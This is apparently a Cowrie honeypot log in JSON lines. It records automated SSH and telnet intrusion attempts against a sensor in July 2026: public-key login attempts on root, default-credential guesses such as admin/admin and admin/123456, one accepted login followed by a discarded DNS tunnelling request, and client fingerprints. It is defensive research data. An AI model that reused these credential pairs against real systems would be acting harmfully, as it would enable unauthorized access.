{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d3:ff:ef:a5:65:de:9d:01:07:8a:12:1d:34:26:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+IMkRSAGXXFj9xK18rr90hX6jqd6eUtV393TqNHJa/fivIxa3Uoasno1i4yrU+bGN5AuAXasCP782zDztN9c2TC9HRAL9Fjfq5HenjR1YnGazl32R72KLC0xru5O2lnIxymP7/SxpVW2BbZP6ovdS4/eEE1y1nK682JWEp5nNreXmOtHmdaSomAC9wE4phrOmbGkyTKuho4MsD6DXx8sd6oLt95rJMolzwPggVz3jVJv3ey93hyoRnlN+pRtmmhX8Wiw2vxd74gytIti7yKiE5lTad8g2jiEzFqIoEGxWK69ies07dk2fhJdVqzD25ErOJHnbhW7CQgZft8439uXR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:d3:ff:ef:a5:65:de:9d:01:07:8a:12:1d:34:26:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.878796Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d3:ff:ef:a5:65:de:9d:01:07:8a:12:1d:34:26:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+IMkRSAGXXFj9xK18rr90hX6jqd6eUtV393TqNHJa/fivIxa3Uoasno1i4yrU+bGN5AuAXasCP782zDztN9c2TC9HRAL9Fjfq5HenjR1YnGazl32R72KLC0xru5O2lnIxymP7/SxpVW2BbZP6ovdS4/eEE1y1nK682JWEp5nNreXmOtHmdaSomAC9wE4phrOmbGkyTKuho4MsD6DXx8sd6oLt95rJMolzwPggVz3jVJv3ey93hyoRnlN+pRtmmhX8Wiw2vxd74gytIti7yKiE5lTad8g2jiEzFqIoEGxWK69ies07dk2fhJdVqzD25ErOJHnbhW7CQgZft8439uXR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.881754Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:86:36:24:a1:6c:c4:8b:1e:c7:d8:3f:2d:58:ee:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZDivYbY51xZ0raZEuxqOXfojK+W8XRSH/mAez2LVZ+sR+54yDv6ACGo9JYoQdfFIgAPl6UWzUcdJ29gNmLz0u1exa4eCFWM4c2tTt2pBc/usC45H2X5PdfwaL5s69NAp0igpNrtAGpGvx6tFO0zKO43quYJjSka1CuvqROEKHaXMAA3phfM8iNHBffqE1jDXIsy2aEY2Lm7OdIqmzqz/jPsMm4UWCQZujkV4xCuhQTrKxZTqNcPvl1cvYoeBRw/JNhn8ANcchkkAdC0TTyDAVm/JOgNqzV9jZ/Gwl2jWdJELKUBnApSbbJ9I4iSdf9AKVSgya7jmBRZJ0gp2STyId","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:86:36:24:a1:6c:c4:8b:1e:c7:d8:3f:2d:58:ee:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.888407Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:86:36:24:a1:6c:c4:8b:1e:c7:d8:3f:2d:58:ee:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZDivYbY51xZ0raZEuxqOXfojK+W8XRSH/mAez2LVZ+sR+54yDv6ACGo9JYoQdfFIgAPl6UWzUcdJ29gNmLz0u1exa4eCFWM4c2tTt2pBc/usC45H2X5PdfwaL5s69NAp0igpNrtAGpGvx6tFO0zKO43quYJjSka1CuvqROEKHaXMAA3phfM8iNHBffqE1jDXIsy2aEY2Lm7OdIqmzqz/jPsMm4UWCQZujkV4xCuhQTrKxZTqNcPvl1cvYoeBRw/JNhn8ANcchkkAdC0TTyDAVm/JOgNqzV9jZ/Gwl2jWdJELKUBnApSbbJ9I4iSdf9AKVSgya7jmBRZJ0gp2STyId","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.891057Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:a6:b2:6c:45:67:71:27:72:7c:a2:57:d5:7c:9f:31","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPqVthV9UlfmwOPVpmCItvU65KBMtjE9P5SCJ7sr/caJslL7AV1ztiVDDHCS8OZlBLeGNOubkSiEAl2FLgtXkYtR6I1XkOVPhwcBVulowzugKZwUlj7rqbjrlNuAXSuC/nk7jP+lGYRhZ3GnHvY/4raGIt789Kbc0281iOmYimDXAAAAFQDpk9wMi7T+vxlK2n6BshUmoJgBXwAAAIB2qYlwdX9H1U3LfmMDH79lmQjpxPKampF/epzK1GlsAL2MRCBMdZlTBH04DtSViOuHYy1s0sbxnI4CngkqLFUXXBMdsBK34T2Jczac2PJLyDvvVZ/enYfWZvjVyZxDbpS0lv8VXRKVkeXbboweX4aqBSjIEMBBxAD9MFaa2iIFIQAAAIBdDEKQkvlhbn8hKZSRDu+UGJ7qOjfoBSFYX09VQ9hjaiGF+v2Z8/DlSnHcOmgImefYi9xq3QWBDou1eNlFTuDCjbw1vw0v27GG2bsBaEPAUfLP6LXpb1xK9AKpMENqCTRGGCQiQr6zMr+0lJFQJXynLu/Rs2DBgvV464NSgDhV+A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e1:a6:b2:6c:45:67:71:27:72:7c:a2:57:d5:7c:9f:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.898007Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:a6:b2:6c:45:67:71:27:72:7c:a2:57:d5:7c:9f:31","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPqVthV9UlfmwOPVpmCItvU65KBMtjE9P5SCJ7sr/caJslL7AV1ztiVDDHCS8OZlBLeGNOubkSiEAl2FLgtXkYtR6I1XkOVPhwcBVulowzugKZwUlj7rqbjrlNuAXSuC/nk7jP+lGYRhZ3GnHvY/4raGIt789Kbc0281iOmYimDXAAAAFQDpk9wMi7T+vxlK2n6BshUmoJgBXwAAAIB2qYlwdX9H1U3LfmMDH79lmQjpxPKampF/epzK1GlsAL2MRCBMdZlTBH04DtSViOuHYy1s0sbxnI4CngkqLFUXXBMdsBK34T2Jczac2PJLyDvvVZ/enYfWZvjVyZxDbpS0lv8VXRKVkeXbboweX4aqBSjIEMBBxAD9MFaa2iIFIQAAAIBdDEKQkvlhbn8hKZSRDu+UGJ7qOjfoBSFYX09VQ9hjaiGF+v2Z8/DlSnHcOmgImefYi9xq3QWBDou1eNlFTuDCjbw1vw0v27GG2bsBaEPAUfLP6LXpb1xK9AKpMENqCTRGGCQiQr6zMr+0lJFQJXynLu/Rs2DBgvV464NSgDhV+A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.901328Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:8b:8a:b1:97:16:7a:39:d7:f1:a8:29:5a:0f:f2:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4aD/kx1TOS8rZtKnL4khDsb2H2e+2PmlGWUYBqWuWDwoqyQdDUAbaTEwizwyb0ympbhsI8gnNbn29Zfa4fY/4XyzA1MGCy/h4VWiOyUncln5+bmXTtGWr9ACR1VwljLw66XDOZRmd6KbXuV6/IFswzy2ewLiroi26lIRqfFxFILtBEnRJeztiwp3uDnisknA/bnAovYq5oD06Pi6n4b/8RIkoi/wjPtgp+KZ6opaQXc7iYe2NASZ3GdoMSUuW8D3e/bdSmZCVINSQ0IehxGOCKJ3tAQVZXKBEwS8+bAYxhzyV5b/4lQUuTlBdXcJAgc5YAhrbCIsx7Gq0SCedkfLu1dNKJ06/4jaQD+Z7h4ycJNCmDELGei19sngfyCdZ4mvvQWkZQSowb6XDnBvLvvPQiOOKLljbWAOzPx4eoqDh3BzDMTI+JFxzG9OnPMcrnICP2y4IreraqFdfPNhFevFrL66kAZZOMGnneScS25oPPHDd+Q3bwzWlVFY2GKrRZ3E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:8b:8a:b1:97:16:7a:39:d7:f1:a8:29:5a:0f:f2:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.908869Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:8b:8a:b1:97:16:7a:39:d7:f1:a8:29:5a:0f:f2:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4aD/kx1TOS8rZtKnL4khDsb2H2e+2PmlGWUYBqWuWDwoqyQdDUAbaTEwizwyb0ympbhsI8gnNbn29Zfa4fY/4XyzA1MGCy/h4VWiOyUncln5+bmXTtGWr9ACR1VwljLw66XDOZRmd6KbXuV6/IFswzy2ewLiroi26lIRqfFxFILtBEnRJeztiwp3uDnisknA/bnAovYq5oD06Pi6n4b/8RIkoi/wjPtgp+KZ6opaQXc7iYe2NASZ3GdoMSUuW8D3e/bdSmZCVINSQ0IehxGOCKJ3tAQVZXKBEwS8+bAYxhzyV5b/4lQUuTlBdXcJAgc5YAhrbCIsx7Gq0SCedkfLu1dNKJ06/4jaQD+Z7h4ycJNCmDELGei19sngfyCdZ4mvvQWkZQSowb6XDnBvLvvPQiOOKLljbWAOzPx4eoqDh3BzDMTI+JFxzG9OnPMcrnICP2y4IreraqFdfPNhFevFrL66kAZZOMGnneScS25oPPHDd+Q3bwzWlVFY2GKrRZ3E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.911565Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:54:8e:72:1c:7a:e5:c4:49:75:34:2d:f9:f3:b3:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeXaUy8d5MrkVSlPx98zRg/zesb24UfIm83+YxN13q2J+TIwjX32DzhKmald7+VvsXHL8fuSx2OPM6tnpgBNsY1SWQ8KE2lZlaJwQ0bPjDIPd95toiKkroDrRJVJkYVqcJDXdvCgvTDpdLYQn2d3VqJwLMaLy5DkcBr36Xv9HkCELfbO+iZca1bQpMieQ5XXqzDp4IGgjbjZTtiUOb9dmEyEO2ZUUUvFAHeigO+FIikzcVgMWe0+bwWIb+LFFV0EvG+xC617g1+hCFyUsv5dnTnsnySAKgt+sxMj7FqwvzVjBmZlYO/GjrDCEG2ZbmaLnXDIRDANITGCAzABi/CU/qxBFAEPJJ+zid59J5295oVJRh6yvWurZCkTL0QVulVd3zL2IEAAXknvWn7oyEBxp9YJORAAs32oDxJzVt8R+lel47QMIYLSFF1o/RmlCnNcOMZHSC2aPEbyltsiBErNPGIEBk9lDY+XvpEPrBzNSjcNhmaBv9enqCR1nHyxya/2qWNIP01vbB2vxDih8DPoDX/uQaV62hD27oBkxFh8h5bogE/6G+u3EcmAffxnbe6BA13gnotmqVEqhHOU7yfEKKeQjrECaqnjU8spu84P2xAYCqPZcgur3U5IehiH7GpTnkOR+qA16+r/v7InCSZw4supPSS9RZW+x0DkRbsIEExw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:54:8e:72:1c:7a:e5:c4:49:75:34:2d:f9:f3:b3:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.918716Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:54:8e:72:1c:7a:e5:c4:49:75:34:2d:f9:f3:b3:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeXaUy8d5MrkVSlPx98zRg/zesb24UfIm83+YxN13q2J+TIwjX32DzhKmald7+VvsXHL8fuSx2OPM6tnpgBNsY1SWQ8KE2lZlaJwQ0bPjDIPd95toiKkroDrRJVJkYVqcJDXdvCgvTDpdLYQn2d3VqJwLMaLy5DkcBr36Xv9HkCELfbO+iZca1bQpMieQ5XXqzDp4IGgjbjZTtiUOb9dmEyEO2ZUUUvFAHeigO+FIikzcVgMWe0+bwWIb+LFFV0EvG+xC617g1+hCFyUsv5dnTnsnySAKgt+sxMj7FqwvzVjBmZlYO/GjrDCEG2ZbmaLnXDIRDANITGCAzABi/CU/qxBFAEPJJ+zid59J5295oVJRh6yvWurZCkTL0QVulVd3zL2IEAAXknvWn7oyEBxp9YJORAAs32oDxJzVt8R+lel47QMIYLSFF1o/RmlCnNcOMZHSC2aPEbyltsiBErNPGIEBk9lDY+XvpEPrBzNSjcNhmaBv9enqCR1nHyxya/2qWNIP01vbB2vxDih8DPoDX/uQaV62hD27oBkxFh8h5bogE/6G+u3EcmAffxnbe6BA13gnotmqVEqhHOU7yfEKKeQjrECaqnjU8spu84P2xAYCqPZcgur3U5IehiH7GpTnkOR+qA16+r/v7InCSZw4supPSS9RZW+x0DkRbsIEExw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.921766Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.928874Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":27266,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf1f2a43277","protocol":"ssh","message":"New connection: 176.53.159.196:27266 (10.17.0.5:22) [session: 2bf1f2a43277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:52.471151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:52.474847Z","src_ip":"176.53.159.196","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:52.570627Z","src_ip":"176.53.159.196","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:52.860325Z","src_ip":"176.53.159.196","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:52.959795Z","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:53.056832Z","src_ip":"176.53.159.196","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:53.155061Z","src_ip":"176.53.159.196","session":"2bf1f2a43277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.7515230178833,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:59.006974Z","src_ip":"170.64.224.25","session":"e4570307340c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":40912,"dst_ip":"10.17.0.5","dst_port":22,"session":"40cbec7173bb","protocol":"ssh","message":"New connection: 38.242.143.220:40912 (10.17.0.5:22) [session: 40cbec7173bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:06.471247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:06.475234Z","src_ip":"38.242.143.220","session":"40cbec7173bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:06.591119Z","src_ip":"38.242.143.220","session":"40cbec7173bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quant","password":"quant321","message":"login attempt [quant/quant321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:06.925097Z","src_ip":"38.242.143.220","session":"40cbec7173bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:08.040434Z","src_ip":"38.242.143.220","session":"40cbec7173bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":44824,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91d5832f94c","protocol":"ssh","message":"New connection: 91.92.40.10:44824 (10.17.0.5:22) [session: e91d5832f94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:08.349879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:08.534787Z","src_ip":"91.92.40.10","session":"e91d5832f94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:08.556823Z","src_ip":"91.92.40.10","session":"e91d5832f94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:09.805830Z","src_ip":"91.92.40.10","session":"e91d5832f94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.965012550354004,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:09.984318Z","src_ip":"137.184.5.188","session":"5e234084cce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:10.961991Z","src_ip":"91.92.40.10","session":"e91d5832f94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":47492,"dst_ip":"10.17.0.5","dst_port":22,"session":"503943a16390","protocol":"ssh","message":"New connection: 91.92.40.176:47492 (10.17.0.5:22) [session: 503943a16390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:13.619739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:13.623964Z","src_ip":"91.92.40.176","session":"503943a16390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@